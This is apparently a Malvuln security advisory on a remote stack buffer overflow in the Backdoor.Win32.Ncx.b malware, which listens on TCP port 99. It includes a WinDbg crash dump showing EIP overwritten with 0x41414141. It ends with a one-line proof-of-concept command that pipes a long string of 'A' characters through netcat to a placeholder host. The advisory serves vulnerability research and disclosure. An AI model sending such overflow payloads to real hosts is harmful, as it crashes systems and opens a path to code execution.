Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/991c1f02c809cee860cb712896a45338_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Ncx.b Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can send a large junk payload and trigger a classic stack buffer overflow overwriting the EIP, ECX registers. Type: PE32 MD5: 991c1f02c809cee860cb712896a45338 Vuln ID: MVID-2021-0422 ASLR: False DEP: False Safe SEH: True Disclosure: 12/11/2021 Memory Dump: (f40.12a4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=03051660 ebp=03051680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=03051660 ebp=03051680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe FAULTING_IP: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555 00401555 88443418 mov byte ptr [esp+esi+18h],al EXCEPTION_RECORD: 0314f9f4 -- (.exr 0x314f9f4) ExceptionAddress: 00401555 (Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x00001555) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 03150000 Attempt to write to address 03150000 PROCESS_NAME: Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555 00401555 88443418 mov byte ptr [esp+esi+18h],al FAILED_INSTRUCTION_ADDRESS: +1555 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 027d0b40 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0314fa44 -- (.cxr 0x314fa44) eax=00000041 ebx=7745e250 ecx=5804cfad edx=0314fdc4 esi=00000144 edi=027d0b40 eip=00401555 esp=0314fea4 ebp=740a1e90 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x1555: 00401555 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03150000=?? Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 027d0b40 to 00401555 FRAME_ONE_INVALID: 1 STACK_TEXT: 0314fea4 00401555 backdoor_win32_ncx_b+0x1555 0314fea8 027d0b40 unknown!unknown+0x0 STACK_COMMAND: .cxr 000000000314FA44 ; kb ; dds 314fea4 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_ncx_b+1555 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338 IMAGE_NAME: Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe DEBUG_FLR_IMAGE_TIMESTAMP: 34ae8eb9 BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_b+1555 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe!Unknown Exploit/PoC: python -c "print('A'*3306)" | nc64.exe MALWARE_HOST 99 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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